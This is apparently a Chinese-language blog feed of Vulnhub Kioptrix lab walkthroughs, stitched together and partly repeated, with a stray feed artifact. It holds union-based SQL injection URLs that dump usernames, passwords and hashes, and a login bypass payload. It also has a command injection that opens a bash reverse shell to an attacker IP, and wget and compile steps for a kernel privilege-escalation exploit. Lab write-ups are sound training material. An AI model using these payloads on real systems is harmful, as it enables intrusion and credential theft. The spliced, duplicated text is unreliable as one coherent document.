/root/.subversion/auth/svn.ssl.client-passphrase
/root/.subversion/auth/svn.ssl.server
/root/.subversion/auth/svn.username
/root/ht-2.0.18/.deps
/root/ht-2.0.18/AUTHORS
/root/ht-2.0.18/COPYING
/root/ht-2.0.18/ChangeLog
/root/ht-2.0.18/INSTALL
/root/ht-2.0.18/KNOWNBUGS
/root/ht-2.0.18/Makefile
/root/ht-2.0.18/Makefile.am
/root/ht-2.0.18/Makefile.in
/root/ht-2.0.18/NEWS
...中間一大堆ht-2.0.18資料夾裡的東西
/root/ht-2.0.18/tools/.deps/bin2c.Po
/sbin/pivot_root
/usr/lib/klibc/bin/chroot
/usr/lib/klibc/bin/pivot_root
/usr/sbin/chroot
/usr/sbin/rootflags
/usr/share/man/man8/chroot.8.gz
/usr/share/man/man8/pam_rootok.8.gz
/usr/share/man/man8/pivot_root.8.gz
/usr/share/man/man8/rootflags.8.gz
/usr/share/man/man8/sudo_root.8.gz
/usr/share/mysql/mysql-test/include/not_as_root.inc
/usr/share/mysql/mysql-test/r/not_as_root.require
/usr/share/recovery-mode/options/root
/usr/share/ri/1.8/system/Dir/chroot-c.yaml
/usr/share/ri/1.8/system/Net/IMAP/getquotaroot-i.yaml
/usr/share/ri/1.8/system/PStore/root%3f-i.yaml
/usr/share/ri/1.8/system/PStore/roots-i.yaml
/usr/share/ri/1.8/system/Pathname/chroot-i.yaml
/usr/share/ri/1.8/system/Pathname/root%3f-i.yaml
/usr/share/ri/1.8/system/REXML/Document/root-i.yaml
/usr/share/ri/1.8/system/REXML/Element/root-i.yaml
/usr/share/ri/1.8/system/REXML/Element/root_node-i.yaml
/usr/share/ri/1.8/system/REXML/Light/Node/root-i.yaml
/usr/share/ri/1.8/system/SOAP/MIMEMessage/root-i.yaml
/usr/share/ri/1.8/system/SOAP/SOAPBody/root_node-i.yaml
/usr/share/ri/1.8/system/SOAP/SOAPType/rootnode-i.yaml
/var/log/fsck/checkroot
其中/root/Congrats.txt
嫌疑最大,
root@Kioptrix3:~# cat Congrats.txt
Good for you for getting here.
Regardless of the matter (staying within the spirit of the game of course)
you got here, congratulations are in order. Wasn't that bad now was it.
Went in a different direction with this VM. Exploit based challenges are
nice. Helps workout that information gathering part, but sometimes we
need to get our hands dirty in other things as well.
Again, these VMs are beginner and not intented for everyone.
Difficulty is relative, keep that in mind.
The object is to learn, do some research and have a little (legal)
fun in the process.
I hope you enjoyed this third challenge.
Steven McElrea
aka loneferret
http://www.kioptrix.com
Credit needs to be given to the creators of the gallery webapp and CMS used
for the building of the Kioptrix VM3 site.
Main page CMS:
http://www.lotuscms.org
Gallery application:
Gallarific 2.1 - Free Version released October 10, 2009
http://www.gallarific.com
Vulnerable version of this application can be downloaded
from the Exploit-DB website:
http://www.exploit-db.com/exploits/15891/
The HT Editor can be found here:
http://hte.sourceforge.net/downloads.html
And the vulnerable version on Exploit-DB here:
http://www.exploit-db.com/exploits/17083/
Also, all pictures were taken from Google Images, so being part of the
public domain I used them.
看來應該是沒錯。
探測網頁漏洞另一種方式:
首先到這個網址: http://192.168.44.131/gallery/gallery.php?id=1&sort=photoid#photos
不過這網址怎麼來的其實很玄,照這個網站,先到首頁到根據以下紅框點選:
即可得到上述網址。但其實真的照點,應該會被導到:
http://192.168.44.131/gallery/g.php/1
不過不管,直接到該網址後:
這裡試試id後加單引號(紅圈圈處),根據錯誤訊息知道有SQL injection。
首先要猜資料庫column有幾列
http://192.168.44.131/gallery/gallery.php?id=-1 order by 5 --+ &sort=photoid#photos
http://192.168.44.131/gallery/gallery.php?id=-1 order by 6 --+ &sort=photoid#photos
http://192.168.44.131/gallery/gallery.php?id=-1 order by 7 --+ &sort=photoid#photos
所以是六列。
接下來尋找哪一列的值會顯示在網頁上:
http://192.168.44.131/gallery/gallery.php?id=-1 union select 1,2,3,4,5,6 --+ &sort=photoid#photos
利用這兩個回顯點,輸出想看的訊息,也就是把網址的2跟3換成sql的指令。
http://192.168.44.131/gallery/gallery.php?id=-1 union select 1,database(),user(),4,5,6 --+ &sort=photoid#photos
http://192.168.44.131/gallery/gallery.php?id=-1 union select 1,user(),database(),4,5,6 --+ &sort=photoid#photos
http://192.168.44.131/gallery/gallery.php?id=-1 union select 1,@@version,database(),4,5,6 --+ &sort=photoid#photos
得到資料庫的所有表(table):
http://192.168.44.131/gallery/gallery.php?id=-1 union select 1,group_concat(table_name),database(),4,5,6 from information_schema.tables where table_schema=database() --+ &sort=photoid#photos
注意網址在6後面還接著from information_schema.tables where table_schema=database()
table裡面最後一個gallarific_users跟第一個dev_accounts還滿有興趣的,想得到gallarific_users這個table中的字段名
http://192.168.44.131/gallery/gallery.php?id=-1 union select 1,group_concat(column_name),database(),4,5,6 from information_schema.columns where table_name='gallarific_users' --+ &sort=photoid#photos
被發現了有這些字:
userid,username,password,usertype,firstname,lastname,email,datejoined,website,issuperuser,photo,joincode
重要的是第二個跟第三個,username跟password。
查gallarific_users裡面的帳號密碼:
http://192.168.44.131/gallery/gallery.php?id=-1 union select 1,group_concat(username,0x7e,password),database(),4,5,6 from gallarific_users --+ &sort=photoid#photos
group_concat(username,0x7e,password)之中的0x7e是波浪狀符號,所以如上圖,username是admin、password是n0t7t1k4。
再找找dev_accounts的:
http://192.168.44.131/gallery/gallery.php?id=-1 union select 1,group_concat(column_name),database(),4,5,6 from information_schema.columns where table_name='dev_accounts' --+ &sort=photoid#photos
也同樣有username跟password。
查gallarific_users裡面的帳號密碼:
http://192.168.44.131/gallery/gallery.php?id=-1 union select 1,group_concat(username,0x7e,password),database(),4,5,6 from dev_accounts --+ &sort=photoid#photos
看上圖紫色字,dreg
是0d3eccfb887aabd50f243b3f155c0f85
loneferret
是5badcaf789d3d1d09794d8f021f40f0e
。
接下來就接上面0x03一樣。
The Deadline: Kioptrix: Level 1.2 (#3) Write-up
abatchy's blog | Kioptrix 3 Walkthrough (Vulnhub)
exploitdb/18565.rb at master · offensive-security/exploitdb · GitHub
LotusCMS eval() Remote Command Execution - Manual Exploitation - YouTube
LotusCMS-Exploit/lotusRCE.sh at master · Hood3dRob1n/LotusCMS-Exploit · GitHub
Url Encode / Decode - 將字串轉換為Url Encode / Decode 編碼 解碼 - ez2o Studio
https://mks.tw/3045/%E8%B3%87%E8%A8%8A%E5%AE%89%E5%85%A8-vulnhub-kioptrix-level-1-2-3-write-up
https://zhuanlan.zhihu.com/p/185848966
https://www.somd5.com
[Reply] Linux中的sudoers檔案設定簡介 - iT 邦幫忙::一起幫忙解決難題,拯救 IT 人的一天
https://lonelysec.com/vulnhub-x-kioptrix-level-1-2-3/
Vulnhub滲透測試練習-Kioptrix 3 - ITW01
Kioptrix Level3(#1.3) Walkthrough - ごちうさ民の覚え書き
https://blog.csdn.net/YouthBelief/article/details/121511584
https://blog.csdn.net/warmjuhao/article/details/78262100
打開靶機前,要把CentOs4.5.vmx
這份文件打開,相關參數都設成NAT。
靶機用vmware開機,同時也打開自己的kali虛擬機,先確認自己的ip。
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.44.129 netmask 255.255.255.0 broadcast 192.168.44.255
inet6 fe80::e07:3e48:d243:fe0b prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:05:ac:79 txqueuelen 1000 (Ethernet)
RX packets 6227 bytes 1176446 (1.1 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 7225 bytes 650900 (635.6 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
經過nmap掃描同網段。
$ nmap -sP 192.168.44.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-07 08:27 EDT
Nmap scan report for 192.168.44.2
Host is up (0.00046s latency).
Nmap scan report for 192.168.44.129
Host is up (0.000039s latency).
Nmap scan report for 192.168.44.130
Host is up (0.0032s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 3.08 seconds
知道靶機位址是在192.168.44.130
後,再去掃描它的開啟網路埠。
$ nmap -A 192.168.44.130
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-07 20:31 CST
Nmap scan report for 192.168.44.130
Host is up (0.68s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99)
|_sshv1: Server supports SSHv1
| ssh-hostkey:
| 1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1)
| 1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA)
|_ 1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA)
80/tcp open http Apache httpd 2.0.52 ((CentOS))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.0.52 (CentOS)
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 851/udp status
|_ 100024 1 854/tcp status
443/tcp open ssl/https?
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_RC2_128_CBC_WITH_MD5
| SSL2_RC4_128_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_RC4_64_WITH_MD5
| SSL2_RC4_128_EXPORT40_WITH_MD5
|_ SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2009-10-08T00:10:47
|_Not valid after: 2010-10-08T00:10:47
|_ssl-date: 2022-10-07T09:21:45+00:00; -3h09m37s from scanner time.
631/tcp open ipp CUPS 1.1
|_http-title: 403 Forbidden
| http-methods:
|_ Potentially risky methods: PUT
|_http-server-header: CUPS/1.1
3306/tcp open mysql MySQL (unauthorized)
Host script results:
|_clock-skew: -3h09m37s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.34 seconds
Segmentation fault
可以發現有80port,就直接網址打靶機位址連上網頁。
接下來可以試試sql injection,在Username輸入
' or 1 = 1 #-- -
Password隨便打沒關係,按下login以後會進到這個網頁:
是一個提供 ping 功能的頁面,聯想到 Command-Injection,所以乾脆試試reverse shell。
先在攻擊機輸入
nc -lvvp 1234
接下來在網頁上的Ping a Machine on the Network:
欄位,填上以下命令:
;bash -i >& /dev/tcp/172.25.46.188/1234 0>&1
記得最前面要有分號。
這時攻擊機顯示畫面如下:
$ nc -lvvp 1234
listening on [any] 1234 ...
connect to [172.25.46.188] from DESKTOP-NRNV04H.mshome.net [172.25.32.1] 50926
bash: no job control in this shell
bash-3.00$
雖然可以操控了,但其實也不是root:
bash-3.00$ whoami
apache
為了提權,要開始找漏洞了。想找漏洞,就要先知道版本號,其實前面nmap掃到Apache/2.0.52
可能也可以用,不過可以找找別的版本號,這裡先找inux內核版本。
bash-3.00$ cat /proc/version
Linux version 2.6.9-55.EL (mockbuild@builder6.centos.org) (gcc version 3.4.6 20060404 (Red Hat 3.4.6-8)) #1 Wed May 2 13:52:16 EDT 2007
再找OS版本
bash-3.00$ lsb_release -a
LSB Version: :core-3.0-ia32:core-3.0-noarch:graphics-3.0-ia32:graphics-3.0-noarch
Distributor ID: CentOS
Description: CentOS release 4.5 (Final)
Release: 4.5
Codename: Final
再用searchsploit
找找看有沒有相關的攻擊腳本:
$ searchsploit CentOS 4.5
-------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------- ---------------------------------
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox 4 / CentOS 4) - | linux/local/9479.c
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'i | linux_x86/local/9542.c
Linux Kernel 3.14.5 (CentOS 7 / RHEL) - 'libfutex' Local Privilege Escalation | linux/local/35370.c
-------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
可以發現中間那個Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'i
大概可以用。
把攻擊腳本9542.c複製到一個新資料夾,在這裡我是複製到target_machine/kipotrix_1.1
這個資料夾底下。
cp /usr/share/exploitdb/exploits/linux_x86/local/9542.c target_machine/kipotrix_1.1
然後命令列cd到target_machine/kipotrix_1.1
,在這目錄底下開啟伺服器
┌──(kali㉿kali)-[~]
└─$ cd target_machine/kipotrix_1.1
┌──(kali㉿kali)-[~/target_machine/kipotrix_1.1]
└─$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.44.1 - - [09/Oct/2022 07:39:10] "GET / HTTP/1.1" 200 -
192.168.44.1 - - [09/Oct/2022 07:39:11] code 404, message File not found
192.168.44.1 - - [09/Oct/2022 07:39:11] "GET /favicon.ico HTTP/1.1" 404 -
192.168.44.130 - - [09/Oct/2022 07:39:40] "GET /9542.c HTTP/1.0" 200 -
192.168.44.130 - - [09/Oct/2022 07:44:39] "GET /9542.c HTTP/1.0" 200 -
這樣就可以wget http://192.168.44.129:8000/9542.c
,從攻擊機下載檔案。
bash-3.00$ wget http://192.168.44.129:8000/9542.c
--10:00:51-- http://192.168.44.129:8000/9542.c
=> `9542.c'
Connecting to 192.168.44.129:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,535 (2.5K) [text/x-csrc]
9542.c: Permission denied
Cannot write to `9542.c' (Permission denied).
發現下載到根目錄會Permission denied,要cd到別的目錄?檢查是否有其他隱藏目錄。
bash-3.00$ cd /tmp
bash-3.00$ pwd
/tmp
bash-3.00$ wget http://192.168.44.129:8000/9542.c
--16:50:35-- http://192.168.44.129:8000/9542.c
=> `9542.c'
Connecting to 192.168.44.129:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,535 (2.5K) [text/x-csrc]
0K .. 100% 80.59 MB/s
16:50:35 (80.59 MB/s) - `9542.c' saved [2535/2535]
bash-3.00$ gcc 9542.c -o 9542
9542.c:109:28: warning: no newline at end of file
bash-3.00$ ls
9542
9542.c
bash-3.00$ ./9542
sh: no job control in this shell
sh-3.00# whoami
root
下載攻擊腳本並編譯成功,執行以後拿到root權限。
接下來想要catch the flag,於是去找所有檔名含有root的資料夾與檔案:
sh-3.00# updatedb
sh-3.00# locate root
/root
/root/.bashrc
/root/.mysql_history
/root/.bash_profile
/root/.bash_history
/root/.tcshrc
/root/install.log.syslog
/root/.cshrc
/root/install.log
/root/anaconda-ks.cfg
/root/.bash_logout
/dev/root
/var/spool/mail/root
/var/lib/Pegasus/repository/root
/var/lib/Pegasus/repository/root/classes
/var/lib/Pegasus/repository/root/qualifiers
/var/lib/Pegasus/repository/root/instances
/var/lib/Pegasus/repository/root#PG_InterOp
/var/lib/Pegasus/repository/root#PG_InterOp/classes
/var/lib/Pegasus/repository/root#PG_InterOp/classes/CIM_ProductPhysicalComponent.CIM_Component
/var/lib/Pegasus/repository/root#PG_InterOp/classes/CIM_ProcessIndication.CIM_Indication
...一大堆
/var/lib/Pegasus/repository/root#PG_Internal/instances
/sbin/pivot_root
/usr/include/linux/atari_rootsec.h
/usr/sbin/rootflags
/usr/sbin/chroot
/usr/share/doc/pam-0.77/txts/README.pam_rootok
/usr/share/doc/pam-0.77/txts/README.pam_chroot
/usr/share/doc/rpm-4.3.3/buildroot
/usr/share/doc/rpm-devel-4.3.3/apidocs/html/buildroot-source.html
/usr/share/doc/rpm-devel-4.3.3/apidocs/html/buildroot.html
/usr/share/zsh/4.2.0/functions/_fakeroot
/usr/share/locale/ur/LC_MESSAGES/system-config-rootpassword.mo
...一大堆
/usr/share/locale/ru/LC_MESSAGES/system-config-rootpassword.mo
/usr/share/man/man8/pivot_root.8.gz
/usr/share/man/man8/rootflags.8.gz
/usr/share/man/man1/gpm-root.1.gz
/usr/share/man/man1/chroot.1.gz
/usr/share/man/man3/selinux_policyroot.3.gz
/usr/share/man/man2/pivot_root.2.gz
/usr/share/man/man2/chroot.2.gz
/usr/share/system-config-rootpassword
/usr/share/system-config-rootpassword/system-config-rootpassword
/usr/share/system-config-rootpassword/system-config-rootpassword.py
/usr/share/system-config-rootpassword/pixmaps
/usr/share/system-config-rootpassword/pixmaps/system-config-rootpassword.png
/usr/share/system-config-rootpassword/passwordDialog.py
/usr/share/applications/system-config-rootpassword.desktop
/usr/share/icons/hicolor/48x48/apps/system-config-rootpassword.png
/usr/share/firstboot/modules/rootpassword.py
/usr/share/umb-scheme/slib/root.scm
/usr/lib/perl5/5.8.5/i386-linux-thread-multi/linux/atari_rootsec.ph
/usr/lib/python2.3/site-packages/Ft/Server/ThirdParty/pyftpd/auth_chroot_config.py
/usr/lib/python2.3/site-packages/Ft/Server/ThirdParty/pyftpd/auth_chroot_module.pyc
/usr/lib/python2.3/site-packages/Ft/Server/ThirdParty/pyftpd/auth_chroot_module.py
/usr/lib/python2.3/site-packages/Ft/Server/ThirdParty/pyftpd/auth_chroot_config.pyo
/usr/lib/python2.3/site-packages/Ft/Server/ThirdParty/pyftpd/auth_chroot_module.pyo
/usr/lib/python2.3/site-packages/Ft/Server/ThirdParty/pyftpd/auth_chroot_config.pyc
/usr/src/kernels/2.6.9-55.EL-i686/include/linux/root_dev.h
/usr/src/kernels/2.6.9-55.EL-i686/include/config/usb/ehci/root
/usr/src/kernels/2.6.9-55.EL-i686/include/config/usb/ehci/root/hub
/usr/src/kernels/2.6.9-55.EL-i686/include/config/usb/ehci/root/hub/tt.h
/usr/src/kernels/2.6.9-55.EL-i686/include/config/security/rootplug.h
/usr/src/kernels/2.6.9-55.EL-hugemem-i686/include/linux/root_dev.h
/usr/src/kernels/2.6.9-55.EL-hugemem-i686/include/config/usb/ehci/root
/usr/src/kernels/2.6.9-55.EL-hugemem-i686/include/config/usb/ehci/root/hub
/usr/src/kernels/2.6.9-55.EL-hugemem-i686/include/config/usb/ehci/root/hub/tt.h
/usr/src/kernels/2.6.9-55.EL-hugemem-i686/include/config/security/rootplug.h
/usr/src/kernels/2.6.9-55.EL-smp-i686/include/linux/root_dev.h
/usr/src/kernels/2.6.9-55.EL-smp-i686/include/config/usb/ehci/root
/usr/src/kernels/2.6.9-55.EL-smp-i686/include/config/usb/ehci/root/hub
/usr/src/kernels/2.6.9-55.EL-smp-i686/include/config/usb/ehci/root/hub/tt.h
/usr/src/kernels/2.6.9-55.EL-smp-i686/include/config/security/rootplug.h
/usr/bin/gpm-root
/usr/bin/system-config-rootpassword
/etc/selinux/targeted/contexts/users/root
/etc/gpm-root.conf
/etc/pam.d/system-config-rootpassword
/etc/security/console.apps/system-config-rootpassword
/etc/security/chroot.conf
/lib/security/pam_chroot.so
/lib/security/pam_rootok.so
最可疑的就是/var/spool/mail/root
。
sh-3.00# cat /var/spool/mail/root
From MAILER-DAEMON@kioptrix.level2 Fri Oct 7 04:57:46 2022
Return-Path: <MAILER-DAEMON@kioptrix.level2>
Received: from localhost (localhost)
by kioptrix.level2 (8.13.1/8.13.1) id 2978vkJT002499;
Fri, 7 Oct 2022 04:57:46 -0400
Date: Fri, 7 Oct 2022 04:57:46 -0400
From: Mail Delivery Subsystem <MAILER-DAEMON@kioptrix.level2>
Message-Id: <202210070857.2978vkJT002499@kioptrix.level2>
To: postmaster@kioptrix.level2
MIME-Version: 1.0
Content-Type: multipart/report; report-type=delivery-status;
boundary="2978vkJT002499.1665133066/kioptrix.level2"
Subject: Postmaster notify: see transcript for details
Auto-Submitted: auto-generated (postmaster-notification)
This is a MIME-encapsulated message
--2978vkJT002499.1665133066/kioptrix.level2
The original message was received at Thu, 9 Feb 2012 22:39:59 -0400
from localhost
with id q1A3dxnO003116
----- The following addresses had permanent fatal errors -----
<root@kioptrix.level2>
----- Transcript of session follows -----
451 kioptrix.level2: Name server timeout
Message could not be delivered for 5 days
Message will be deleted from queue
--2978vkJT002499.1665133066/kioptrix.level2
Content-Type: message/delivery-status
Reporting-MTA: dns; kioptrix.level2
Arrival-Date: Thu, 9 Feb 2012 22:39:59 -0400
Final-Recipient: RFC822; root@kioptrix.level2
Action: failed
Status: 4.4.7
Last-Attempt-Date: Fri, 7 Oct 2022 04:57:46 -0400
--2978vkJT002499.1665133066/kioptrix.level2
Content-Type: message/rfc822
Return-Path: <MAILER-DAEMON>
Received: from localhost (localhost)
by kioptrix.level2 (8.13.1/8.13.1) id q1A3dxnO003116;
Thu, 9 Feb 2012 22:39:59 -0500
Date: Thu, 9 Feb 2012 22:39:59 -0500
From: Mail Delivery Subsystem <MAILER-DAEMON>
Message-Id: <201202100339.q1A3dxnO003116@kioptrix.level2>
To: <root@kioptrix.level2>
MIME-Version: 1.0
Content-Type: multipart/report; report-type=delivery-status;
boundary="q1A3dxnO003116.1328845199/kioptrix.level2"
Subject: Returned mail: see transcript for details
Auto-Submitted: auto-generated (failure)
This is a MIME-encapsulated message
--q1A3dxnO003116.1328845199/kioptrix.level2
The original message was received at Mon, 12 Oct 2009 04:02:04 -0500
from localhost.localdomain [127.0.0.1]
----- The following addresses had permanent fatal errors -----
<root@kioptrix.level2>
----- Transcript of session follows -----
451 kioptrix.level2: Name server timeout
451 kioptrix.level2: Name server timeout
451 kioptrix.level2: Name server timeout
451 kioptrix.level2: Name server timeout
Message could not be delivered for 5 days
Message will be deleted from queue
451 kioptrix.level2: Name server timeout
--q1A3dxnO003116.1328845199/kioptrix.level2
Content-Type: message/delivery-status
Reporting-MTA: dns; kioptrix.level2
Arrival-Date: Mon, 12 Oct 2009 04:02:04 -0500
Final-Recipient: RFC822; root@kioptrix.level2
Action: failed
Status: 4.4.7
Last-Attempt-Date: Thu, 9 Feb 2012 22:39:59 -0500
--q1A3dxnO003116.1328845199/kioptrix.level2
Content-Type: message/rfc822
Return-Path: <root@kioptrix.level2>
Received: from kioptrix.level2 (localhost.localdomain [127.0.0.1])
by kioptrix.level2 (8.13.1/8.13.1) with ESMTP id n9C824DR003890
for <root@kioptrix.level2>; Mon, 12 Oct 2009 04:02:04 -0400
Received: (from root@localhost)
by kioptrix.level2 (8.13.1/8.13.1/Submit) id n9C824Nj003888
for root; Mon, 12 Oct 2009 04:02:04 -0400
Date: Mon, 12 Oct 2009 04:02:04 -0400
From: root <root@kioptrix.level2>
Message-Id: <200910120802.n9C824Nj003888@kioptrix.level2>
To: root@kioptrix.level2
Subject: LogWatch for kioptrix.level2
################### LogWatch 5.2.2 (06/23/04) ####################
Processing Initiated: Mon Oct 12 04:02:04 2009
Date Range Processed: yesterday
Detail Level of Output: 0
Logfiles for Host: kioptrix.level2
################################################################
--------------------- SSHD Begin ------------------------
SSHD Killed: 1 Time(s)
---------------------- SSHD End -------------------------
------------------ Disk Space --------------------
/dev/mapper/VolGroup00-LogVol00
3.3G 1.5G 1.7G 47% /
/dev/hda1 99M 9.3M 85M 10% /boot
###################### LogWatch End #########################
--q1A3dxnO003116.1328845199/kioptrix.level2--
--2978vkJT002499.1665133066/kioptrix.level2--
留下的疑問: 如何確定網頁有SQL injection跟command injection漏洞? 如果有漏洞,要用什麼語句打?
]]>打開靶機前,要把CentOs4.5.vmx
這份文件打開,相關參數都設成NAT。
靶機用vmware開機,同時也打開自己的kali虛擬機,先確認自己的ip。
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.44.129 netmask 255.255.255.0 broadcast 192.168.44.255
inet6 fe80::e07:3e48:d243:fe0b prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:05:ac:79 txqueuelen 1000 (Ethernet)
RX packets 6227 bytes 1176446 (1.1 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 7225 bytes 650900 (635.6 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
經過nmap掃描同網段。
$ nmap -sP 192.168.44.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-07 08:27 EDT
Nmap scan report for 192.168.44.2
Host is up (0.00046s latency).
Nmap scan report for 192.168.44.129
Host is up (0.000039s latency).
Nmap scan report for 192.168.44.130
Host is up (0.0032s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 3.08 seconds
知道靶機位址是在192.168.44.130
後,再去掃描它的開啟網路埠。
$ nmap -A 192.168.44.130
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-07 20:31 CST
Nmap scan report for 192.168.44.130
Host is up (0.68s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99)
|_sshv1: Server supports SSHv1
| ssh-hostkey:
| 1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1)
| 1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA)
|_ 1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA)
80/tcp open http Apache httpd 2.0.52 ((CentOS))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.0.52 (CentOS)
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 851/udp status
|_ 100024 1 854/tcp status
443/tcp open ssl/https?
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_RC2_128_CBC_WITH_MD5
| SSL2_RC4_128_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_RC4_64_WITH_MD5
| SSL2_RC4_128_EXPORT40_WITH_MD5
|_ SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2009-10-08T00:10:47
|_Not valid after: 2010-10-08T00:10:47
|_ssl-date: 2022-10-07T09:21:45+00:00; -3h09m37s from scanner time.
631/tcp open ipp CUPS 1.1
|_http-title: 403 Forbidden
| http-methods:
|_ Potentially risky methods: PUT
|_http-server-header: CUPS/1.1
3306/tcp open mysql MySQL (unauthorized)
Host script results:
|_clock-skew: -3h09m37s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.34 seconds
Segmentation fault
可以發現有80port,就直接網址打靶機位址連上網頁。
接下來可以試試sql injection,在Username輸入
' or 1 = 1 #-- -
Password隨便打沒關係,按下login以後會進到這個網頁:
是一個提供 ping 功能的頁面,聯想到 Command-Injection,所以乾脆試試reverse shell。
先在攻擊機輸入
nc -lvvp 1234
接下來在網頁上的Ping a Machine on the Network:
欄位,填上以下命令:
;bash -i >& /dev/tcp/172.25.46.188/1234 0>&1
記得最前面要有分號。
這時攻擊機顯示畫面如下:
$ nc -lvvp 1234
listening on [any] 1234 ...
connect to [172.25.46.188] from DESKTOP-NRNV04H.mshome.net [172.25.32.1] 50926
bash: no job control in this shell
bash-3.00$
雖然可以操控了,但其實也不是root:
bash-3.00$ whoami
apache
為了提權,要開始找漏洞了。想找漏洞,就要先知道版本號,其實前面nmap掃到Apache/2.0.52
可能也可以用,不過可以找找別的版本號,這裡先找inux內核版本。
bash-3.00$ cat /proc/version
Linux version 2.6.9-55.EL (mockbuild@builder6.centos.org) (gcc version 3.4.6 20060404 (Red Hat 3.4.6-8)) #1 Wed May 2 13:52:16 EDT 2007
再找OS版本
bash-3.00$ lsb_release -a
LSB Version: :core-3.0-ia32:core-3.0-noarch:graphics-3.0-ia32:graphics-3.0-noarch
Distributor ID: CentOS
Description: CentOS release 4.5 (Final)
Release: 4.5
Codename: Final
再用searchsploit
找找看有沒有相關的攻擊腳本:
$ searchsploit CentOS 4.5
-------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------- ---------------------------------
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox 4 / CentOS 4) - | linux/local/9479.c
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'i | linux_x86/local/9542.c
Linux Kernel 3.14.5 (CentOS 7 / RHEL) - 'libfutex' Local Privilege Escalation | linux/local/35370.c
-------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
可以發現中間那個Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'i
大概可以用。
把攻擊腳本9542.c複製到一個新資料夾,在這裡我是複製到target_machine/kipotrix_1.1
這個資料夾底下。
cp /usr/share/exploitdb/exploits/linux_x86/local/9542.c target_machine/kipotrix_1.1
然後命令列cd到target_machine/kipotrix_1.1
,在這目錄底下開啟伺服器
┌──(kali㉿kali)-[~]
└─$ cd target_machine/kipotrix_1.1
┌──(kali㉿kali)-[~/target_machine/kipotrix_1.1]
└─$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.44.1 - - [09/Oct/2022 07:39:10] "GET / HTTP/1.1" 200 -
192.168.44.1 - - [09/Oct/2022 07:39:11] code 404, message File not found
192.168.44.1 - - [09/Oct/2022 07:39:11] "GET /favicon.ico HTTP/1.1" 404 -
192.168.44.130 - - [09/Oct/2022 07:39:40] "GET /9542.c HTTP/1.0" 200 -
192.168.44.130 - - [09/Oct/2022 07:44:39] "GET /9542.c HTTP/1.0" 200 -
這樣就可以wget http://192.168.44.129:8000/9542.c
,從攻擊機下載檔案。
bash-3.00$ wget http://192.168.44.129:8000/9542.c
--10:00:51-- http://192.168.44.129:8000/9542.c
